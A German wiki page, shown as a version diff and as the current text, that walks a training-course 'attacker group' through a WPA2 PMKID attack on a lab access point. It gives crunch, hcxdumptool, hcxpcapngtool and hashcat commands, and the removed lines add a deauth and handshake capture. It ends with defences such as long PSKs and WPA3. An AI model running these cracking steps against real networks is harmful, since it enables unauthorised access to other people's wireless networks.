Wlan PMKID-Angriff: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 1: Zeile 1:
 
=Szenario=
 
=Szenario=
−
;Diese Seite ist für die '''Angreifer-Gruppe'''. Ziel ist der Access Point <code>dd-xinux</code>, den die AP-Gruppe stellt (siehe [[accesspoint-hostapd|Access Point aufsetzen]]).
+
;Angriff auf den Access Point <code>dd-xinux</code> (siehe [[accesspoint-hostapd|Access Point aufsetzen]]).
−
;Es gibt zwei Wege zum Passwort:
+
;PMKID-Angriff: '''clientless''' — kein verbundener Client, kein Deauth nötig. Wir greifen den PMKID direkt aus dem 1. EAPOL-Frame ab.
−
*'''Weg 1 – Handshake:''' funktioniert immer, braucht aber einen verbundenen Client und einen Deauth.
 
−
*'''Weg 2 – PMKID:''' clientless, kein Deauth. Schneller, weil nur der 1. EAPOL-Frame nötig ist.
 
−
;Beide enden gleich: eine Datei im hashcat-Format, die per Wortliste geknackt wird.
 
  
 
=Passwortliste generieren=
 
=Passwortliste generieren=
Zeile 16: Zeile 13:
 
*systemctl stop NetworkManager
 
*systemctl stop NetworkManager
  
−
=Interface suchen=
+
=PMKID abgreifen=
−
*airmon-ng
+
*hcxdumptool -i wlan0 -w dump.pcapng
−
<pre>
+
;hcxdumptool schaltet die Karte selbst in den Monitor-Modus. Läuft ein paar Sekunden.
−
PHY    Interface      Driver          Chipset
+
;Die Flags ändern sich zwischen den Versionen — vorher einmal <code>hcxdumptool -h</code> prüfen.
−
phy0    wlan0           rtl8192cu      Edimax Technology Co., Ltd EW-7811Un 802.11n [Realtek RTL8188CUS]
 
−
</pre>
 
−
;Wenn störende Prozesse angezeigt werden, diese "killen":
 
−
*airmon-ng check kill
 
−
 
 
−
=Interface in Monitor-Modus=
 
−
*airmon-ng start wlan0
 
−
;Hinweis: Je nach Version heißt das Interface danach <code>wlan0mon</code>. In den folgenden Befehlen dann diesen Namen verwenden.
 
−
;Für Weg 2 (PMKID) ist das nicht zwingend — <code>hcxdumptool</code> schaltet die Karte selbst in den Monitor-Modus.
 
−
 
 
−
=WLANs anzeigen=
 
−
*airodump-ng wlan0
 
−
;Wir suchen die '''BSSID''' und den '''Channel''' von <code>dd-xinux</code>.
 
−
[[Datei:wlan0-1.png]]
 
−
;Für Weg 1 suchen wir zusätzlich eine '''Station''', die mit <code>dd-xinux</code> verbunden ist.
 
−
[[Datei:wlan0-2.png]]
 
−
 
 
−
=Weg 1: Handshake (funktioniert immer)=
 
−
==Handshake mitschneiden==
 
−
*source data
 
−
*airodump-ng --bssid <BSSIDAP> -c <CHANNEL> -w wlan wlan0
 
−
[[Datei:wlan0-3.png]]
 
−
==Deauth senden (zweites Fenster)==
 
−
;Wir werfen die Station kurz raus, damit sie sich neu verbindet — beim Wiederverbinden fällt der Handshake an.
 
−
*source data
 
−
*aireplay-ng -0 50 -a <BSSIDAP> -c <BSSIDSTATION> wlan0
 
−
18:40:39  Waiting for beacon frame (BSSID: 00:18:F8:DA:F7:94) on channel 6
 
−
.....
 
−
18:57:44  Sending 64 directed DeAuth (code 7). STMAC: [44:74:6C:54:xx:E8] [ 0| 9 ACKs]
 
−
;bis der Client rausfliegt und sich neu verbindet.
 
−
==Handshake erhalten==
 
−
;Oben rechts im airodump-Fenster erscheint "WPA handshake: <BSSIDAP>".
 
−
[[Datei:wlan0-4.png]]
 
−
;Der Handshake steckt im '''2. EAPOL-Frame''' (Client → AP) — dort sitzt die MIC, unser Vergleichswert.
 
  
−
=Weg 2: PMKID (clientless)=
+
=In hashcat-Format wandeln=
−
;Kein verbundener Client, kein Deauth. Wir fragen den PMKID direkt beim AP ab.
 
−
==PMKID abgreifen==
 
−
*hcxdumptool -i wlan0 -w dump.pcapng
 
−
;Läuft ein paar Sekunden. Die Flags von hcxdumptool ändern sich zwischen den Versionen — vorher einmal <code>hcxdumptool -h</code> prüfen.
 
−
;Der PMKID steckt im '''1. EAPOL-Frame''' (AP → Client). hostapd sendet ihn bei WPA2-PSK automatisch.
 
−
==In hashcat-Format wandeln==
 
 
*hcxpcapngtool -o pmkid.hc22000 dump.pcapng
 
*hcxpcapngtool -o pmkid.hc22000 dump.pcapng
−
;Erscheint eine Zeile "PMKID(s) written to 22000 hash file"? Dann haben wir ihn. Wenn nicht, war nichts drin → Weg 1 nutzen.
+
;Erscheint "PMKID(s) written to 22000 hash file"? Dann haben wir ihn.
  
 
=Cracken=
 
=Cracken=
−
==Weg 1 – klassisch mit aircrack-ng==
 
−
*aircrack-ng -w password.lst -b <BSSIDAP> wlan-01.cap
 
−
[[Datei:wlan0-5.png]]
 
−
==Beide Wege – modern mit hashcat (Mode 22000)==
 
−
;Handshake ins 22000-Format wandeln:
 
−
*hcxpcapngtool -o hs.hc22000 wlan-01.cap
 
−
;Cracken (Handshake oder PMKID, gleiches Format):
 
−
*hashcat -m 22000 hs.hc22000 password.lst
 
 
*hashcat -m 22000 pmkid.hc22000 password.lst
 
*hashcat -m 22000 pmkid.hc22000 password.lst
 
;Ergebnis ansehen:
 
;Ergebnis ansehen:
Zeile 85: Zeile 34:
  
 
=Warum ist das knackbar?=
 
=Warum ist das knackbar?=
−
;Das AP-Passwort <code>00001234</code> ist 8-stellig numerisch: 10^8 = 100 Mio. Kandidaten — in Kurszeit machbar.
+
;<code>00001234</code> ist 8-stellig numerisch: 10^8 = 100 Mio. Kandidaten — in Kurszeit machbar.
−
;8 Zeichen '''gemischt''' (Buchstaben + Ziffern + Sonderzeichen) wären 62^8 &asymp; 2,2&times;10^14 — selbst mit der Titan Jahre. Ein starkes, zufälliges Passwort macht '''beide''' Wege praktisch chancenlos.
+
;8 Zeichen gemischt wären 62^8 &asymp; 2,2&times;10^14 — praktisch nicht zu knacken. Ein starkes, zufälliges Passwort macht den Angriff chancenlos.
  
 
=Verteidigung=
 
=Verteidigung=
−
*Langes, zufälliges PSK — schlägt Handshake- und PMKID-Angriff gleichermaßen.
+
*Langes, zufälliges PSK.
 
*'''WPA3 / SAE''' beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.
 
*'''WPA3 / SAE''' beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.
−
*'''802.11w''' (Management Frame Protection) macht den Deauth aus Weg 1 wirkungslos.
 
−
 
−
=Video=
 
−
*https://www.youtube.com/watch?v=vnLfCtpANvI
 
  
 
=Links=
 
=Links=

Version vom 14. August 2026, 13:00 Uhr

Szenario

Angriff auf den Access Point dd-xinux (siehe Access Point aufsetzen).
PMKID-Angriff
clientless — kein verbundener Client, kein Deauth nötig. Wir greifen den PMKID direkt aus dem 1. EAPOL-Frame ab.

Passwortliste generieren

Das AP-Passwort ist 8-stellig numerisch (00001234) — genau dafür bauen wir die Liste.
  • crunch 8 8 0123456789 -o password.lst
Crunch will now generate the following amount of data: 900000000 bytes
... dies dauert eine Weile

Störende Dienste stoppen

  • systemctl stop avahi-daemon
  • systemctl stop NetworkManager

PMKID abgreifen

  • hcxdumptool -i wlan0 -w dump.pcapng
hcxdumptool schaltet die Karte selbst in den Monitor-Modus. Läuft ein paar Sekunden.
Die Flags ändern sich zwischen den Versionen — vorher einmal hcxdumptool -h prüfen.

In hashcat-Format wandeln

  • hcxpcapngtool -o pmkid.hc22000 dump.pcapng
Erscheint "PMKID(s) written to 22000 hash file"? Dann haben wir ihn.

Cracken

  • hashcat -m 22000 pmkid.hc22000 password.lst
Ergebnis ansehen
  • hashcat -m 22000 pmkid.hc22000 --show

Crack-Geschwindigkeiten

  • Laptop schafft circa 1000 Keys pro Sekunde
  • Eine starke Grafikkarte (Titan XP) schafft 520000 hash/s
  • Online-Rechenpower mieten
  • Cluster aus mehreren Grafikkarten bauen

Warum ist das knackbar?

00001234 ist 8-stellig numerisch
10^8 = 100 Mio. Kandidaten — in Kurszeit machbar.
8 Zeichen gemischt wären 62^8 ≈ 2,2×10^14 — praktisch nicht zu knacken. Ein starkes, zufälliges Passwort macht den Angriff chancenlos.

Verteidigung

  • Langes, zufälliges PSK.
  • WPA3 / SAE beseitigt den Offline-Angriff komplett — es gibt keinen abfangbaren Wert mehr.

Links